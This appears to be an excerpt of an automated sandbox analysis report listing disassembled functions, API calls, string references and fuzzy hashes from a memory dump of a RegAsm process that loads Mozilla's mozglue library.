API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 028e260e57d0adc0fbf3045243ea68f87063af387e23a36c59fe3969ad9770d5
Instruction ID: 2dd5b361b5c0cff2c2a0cce4a73f8cb83eafe1ecb128bbca8c71ed04cbe70aca
Opcode Fuzzy Hash: 028e260e57d0adc0fbf3045243ea68f87063af387e23a36c59fe3969ad9770d5
Instruction Fuzzy Hash: 3A41AD71905B069FD300DF29D48056AFBF4FFCA254F204A2EE4A987740EB31D559CB92

Function 6CC8DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC8DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC8DC0E
free.MOZGLUE(?), ref: 6CC8DC2E
free.MOZGLUE(?), ref: 6CC8DC40

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 6fdd186e3884d1ab83c0a012bda7019ae9325ef52a772a1638255fff18c84ad0
Instruction ID: 2c97abf3ba017b9f81cc225f445f377aa0618614829f0a88ce35b68cef09d54a
Opcode Fuzzy Hash: 6fdd186e3884d1ab83c0a012bda7019ae9325ef52a772a1638255fff18c84ad0
Instruction Fuzzy Hash: 0C4178B56057018FC710CF35C498A6BBBF6BFC8258F55882EE89A87741EB31E845CB51

Function 6CC76470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CC782BC,?,?), ref: 6CC7649B

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC764A9

Part of subcall function 6CC6FA80: GetCurrentThreadId.KERNEL32 ref: 6CC6FA8D
Part of subcall function 6CC6FA80: AcquireSRWLockExclusive.KERNEL32(6CCBF448), ref: 6CC6FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7653F
free.MOZGLUE(?), ref: 6CC7655A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f36dda54a260d58d2637ece7cc8a21b8859bc92fc86ee8e8daa082981bfa7170
Instruction ID: 49e8e67bf02723a6240f7e2105daf02e09c3a1f18c1526096c8c75df20cbd06a
Opcode Fuzzy Hash: f36dda54a260d58d2637ece7cc8a21b8859bc92fc86ee8e8daa082981bfa7170
Instruction Fuzzy Hash: A3316FB5A047059FD740CF24D884A9ABBF4FF89314F00842EF85A97751EB34E919CB92

Function 6CC8A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CC8A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6CC8A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6CC8A36A

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

Part of subcall function 6CC82140: free.MOZGLUE(?,00000060,?,6CC87D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC8215D

free.MOZGLUE(00000000), ref: 6CC8A37C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 2e24a3a0c5ecca89d1e7a8372f58d6433107f9482319796e6496eb482cdf98b4
Instruction ID: 57631d54979c05c70f35e463fce654f5f7083325a63d287472994dc2d1a2f87d
Opcode Fuzzy Hash: 2e24a3a0c5ecca89d1e7a8372f58d6433107f9482319796e6496eb482cdf98b4
Instruction Fuzzy Hash: 5721F2B1A026249BCB118F06D844B9FBBB9EF8672CF544015EE099B740EB36ED06C6D5

Function 6CC6FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CC8D019,?,?,?,?,?,00000000,?,6CC7DA31,00100000,?), ref: 6CC6FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CC8D019,?,?,?,?,?,00000000,?,6CC7DA31,00100000,?,?), ref: 6CC6FFF5
free.MOZGLUE(?,?,?,?,?,6CC8D019,?,?,?,?,?,00000000,?,6CC7DA31,00100000,?), ref: 6CC7001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CC8D019,?,?,?,?,?,00000000,?,6CC7DA31,00100000,?,?), ref: 6CC7002A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 12b27162f1551ef2bc322ff715a8b29709eef8535d2be9cac9cbb668f7ec739c
Instruction ID: bfafa36b646b16de20d7e3550097c6cee77d6c2926f041836281edc0c978bfff
Opcode Fuzzy Hash: 12b27162f1551ef2bc322ff715a8b29709eef8535d2be9cac9cbb668f7ec739c
Instruction Fuzzy Hash: 9D21F4B2A002155FC7189EAD98D48AEB7FAFB853243254738E425D7780FA71AD0286A1

Function 6CC97930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC4BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CC97A3F), ref: 6CC4BF11
Part of subcall function 6CC4BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CC97A3F), ref: 6CC4BF5D
Part of subcall function 6CC4BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CC97A3F), ref: 6CC4BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6CC97968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6CC9A264,6CC9A264), ref: 6CC9799A

Part of subcall function 6CC49830: free.MOZGLUE(?,?,?,6CC97ABE), ref: 6CC4985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CC979E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CC979E8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 2355cf0a370bdf432cf809ec85837f114b483b683212884c91689894ccfacba5
Instruction ID: 91ff6c8a2fd40c026cafafc63d6f1410255401fbbd5df6ca6422035774c3ec5d
Opcode Fuzzy Hash: 2355cf0a370bdf432cf809ec85837f114b483b683212884c91689894ccfacba5
Instruction Fuzzy Hash: E3218C357043049FCB04DF68D898A9EBBB5EF89314F00886DE84A87351DB34A90ACB92

Function 6CC97A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC4BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CC97A3F), ref: 6CC4BF11
Part of subcall function 6CC4BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CC97A3F), ref: 6CC4BF5D
Part of subcall function 6CC4BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CC97A3F), ref: 6CC4BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6CC97A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6CC97A7A

Part of subcall function 6CC49830: free.MOZGLUE(?,?,?,6CC97ABE), ref: 6CC4985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CC97AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CC97AC8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 041102d017c6538fbfee5a3f3c5cf63d3acda700d1eb9cc78f67ef5fef963f7f
Instruction ID: f388e2d80a83a34411b7b484af4c7ef0e039979175002b9ff7ed32a0d709380c
Opcode Fuzzy Hash: 041102d017c6538fbfee5a3f3c5cf63d3acda700d1eb9cc78f67ef5fef963f7f
Instruction Fuzzy Hash: 2D215C357043049FCB14DF68D899A9EBBB5FF89314F00886DE84A87355DB34A90ACBD2

Function 6CC9AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC9AAF8
EnterCriticalSection.KERNEL32(6CCBF770,?,6CC5BF9F), ref: 6CC9AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6CC5BF9F), ref: 6CC9AB39
LeaveCriticalSection.KERNEL32(6CCBF770,?,?,?,?,?,?,?,?,6CC5BF9F), ref: 6CC9AB6B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 443c8b6f97209cc22acbae879b50530f6db4af344e926753fb19fd387b25534f
Instruction ID: 8c5b8c1ce7bbe55ae1cf3c8242fd5ca4444ca291a93cebb8d8a4fdd5daf6f020
Opcode Fuzzy Hash: 443c8b6f97209cc22acbae879b50530f6db4af344e926753fb19fd387b25534f
Instruction Fuzzy Hash: 301151B5E002499FCF00DFE9D89899FBBB5FF893047040469E545A7701EB34E909CBA5

Function 6CC4B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC4B4F5
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC4B502
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC4B542
free.MOZGLUE(?), ref: 6CC4B578

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 1bcb012eb7aa12904c18088a29dd7ad041d00ef73f955f0d54e8e317fc92304d
Instruction ID: 48c1169dc9ce747b403f9707add61b2856b8b85d96a47c8c9b00becc81d606ce
Opcode Fuzzy Hash: 1bcb012eb7aa12904c18088a29dd7ad041d00ef73f955f0d54e8e317fc92304d
Instruction Fuzzy Hash: 0A11AC38A04B45CBD7128FA9C410769F3B0FF9A318F10D70AE84952B02FBB4B5D48A94

Function 6CC73DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CC3F20E,?), ref: 6CC73DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CC3F20E,00000000,?), ref: 6CC73DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC73E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CC73E0E

Part of subcall function 6CC6CC00: GetCurrentProcess.KERNEL32(?,?,6CC331A7), ref: 6CC6CC0D
Part of subcall function 6CC6CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CC331A7), ref: 6CC6CC16

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: f26b9706b7d01ac24e59bcc73bd739ac8161575e4a751243f20feeb98da804e2
Instruction ID: 9d300804ed67bedd48821102e6da071106251510fa49828224085e15a2096ba1
Opcode Fuzzy Hash: f26b9706b7d01ac24e59bcc73bd739ac8161575e4a751243f20feeb98da804e2
Instruction Fuzzy Hash: 66F01275A002087FDB00AB94DC85DAB377DDB46628F040024FD0857741E636BD2586FB

Function 6CC82050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CC8201B,?,?,?,?,?,?,?,6CC81F8F,?,?), ref: 6CC82064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8208E
free.MOZGLUE(?,?,?,00000000,?,6CC8201B,?,?,?,?,?,?,?,6CC81F8F,?,?), ref: 6CC820A3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 1fd8aa61f2fb3ff2a5a6ef165a275de8574be35f5b55cdd5c98bd3a212b255bd
Instruction ID: a7ba363ecef7fd4b7c1b29ec385ed93362742bc669c7128d3501e902d6065a11
Opcode Fuzzy Hash: 1fd8aa61f2fb3ff2a5a6ef165a275de8574be35f5b55cdd5c98bd3a212b255bd
Instruction Fuzzy Hash: E7F0B4B1201A109BC7118F16D89C75BBBF9EF86328F10012AF50687710DBB5B806CB99

Function 6CC820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CC6FBD1), ref: 6CC820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CC6FBD1), ref: 6CC820DA
free.MOZGLUE(00000000,?,6CC6FBD1), ref: 6CC820F1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 7d1174ac2bf61cefeba09c69ac75a7664a074a6926acb5316bd4a1344ea7b325
Instruction ID: 76e149e102248059f2c16f70d5a8d1039b48b1e54a8c2708622b9a547cfe41a2
Opcode Fuzzy Hash: 7d1174ac2bf61cefeba09c69ac75a7664a074a6926acb5316bd4a1344ea7b325
Instruction Fuzzy Hash: 1CE0E5756016148BC6209F65985C54FBBF9FF86318B10022AF446C3B00E775B94686D9

Function 6CC885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CC885D3

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CC88725

Strings

map/set<T> too long, xrefs: 6CC88720

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2ee0e7a6e24b434dee6806558f80573ce5ee64091a7b4235445ab55b9e9c6fa
Instruction ID: 2140abc75b77bfd605806b1b4853986fe4d67bedb3431fac5c25acb84d06685e
Opcode Fuzzy Hash: a2ee0e7a6e24b434dee6806558f80573ce5ee64091a7b4235445ab55b9e9c6fa
Instruction Fuzzy Hash: 285164B4602641CFD701CF18C184A5ABBF1BF4A318F18C29AD8595BB66E335E885CF92

Function 6CC3BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CC3BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3BE8F

Strings

0, xrefs: 6CC3BE5B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9fd72e3f04b93bdfc3143c00918b56ce7838e11e1df89ec044972582474df977
Instruction ID: dc0f8432bd8d73194d30666967e99beefccc4b790f38438710aa6e3bf2a419d4
Opcode Fuzzy Hash: 9fd72e3f04b93bdfc3143c00918b56ce7838e11e1df89ec044972582474df977
Instruction Fuzzy Hash: E541D271908B55CFC301CF39D4A1A9BB7F4BF8A348F006A5DF989A7651E730D9498B82

Function 6CC39A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CC39B2C
memcpy.VCRUNTIME140(6CC399CF,00000000,?), ref: 6CC39BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC39BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6CC39DE4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c48e7ef9f5be8a2ce3c6dcfca55e81f4c9f0b68fc02e92201b7a6872d1ae40a9
Instruction ID: cce6f19c9378b63bca89e7c8d64454aa60d858121a9bbb3471b6fef0b2c2216b
Opcode Fuzzy Hash: c48e7ef9f5be8a2ce3c6dcfca55e81f4c9f0b68fc02e92201b7a6872d1ae40a9
Instruction Fuzzy Hash: 6CD16F71A0021ADFCB14CF69D881AAEB7F2FF88314F184529E94AA7750E731ED55CB90

Function 6CC80A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6CC437F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6CC9145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6CC4380A

Part of subcall function 6CC78DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6CC906E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6CC78DCC

Part of subcall function 6CC80B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6CC8138F,?,?,?), ref: 6CC80B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6CC8138F,?,?,?), ref: 6CC80B27
free.MOZGLUE(?,?,?,?,?,6CC8138F,?,?,?), ref: 6CC80B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6CC80AB5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 19df5f3ff4442524f0e4de9dc21ddba26eef5d5a722268c901b5c6c07c8fab0a
Instruction ID: 01a62c254900b9b74881f636af83745b668563957600ac2ca83bc1fca52e38d4
Opcode Fuzzy Hash: 19df5f3ff4442524f0e4de9dc21ddba26eef5d5a722268c901b5c6c07c8fab0a
Instruction Fuzzy Hash: 2C21ADB8B022459BDB04DF98C890ABBB7B5AF8570CF14442DD805ABB41EB74A945CBA1

Function 6CC3F180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6CC3F19B

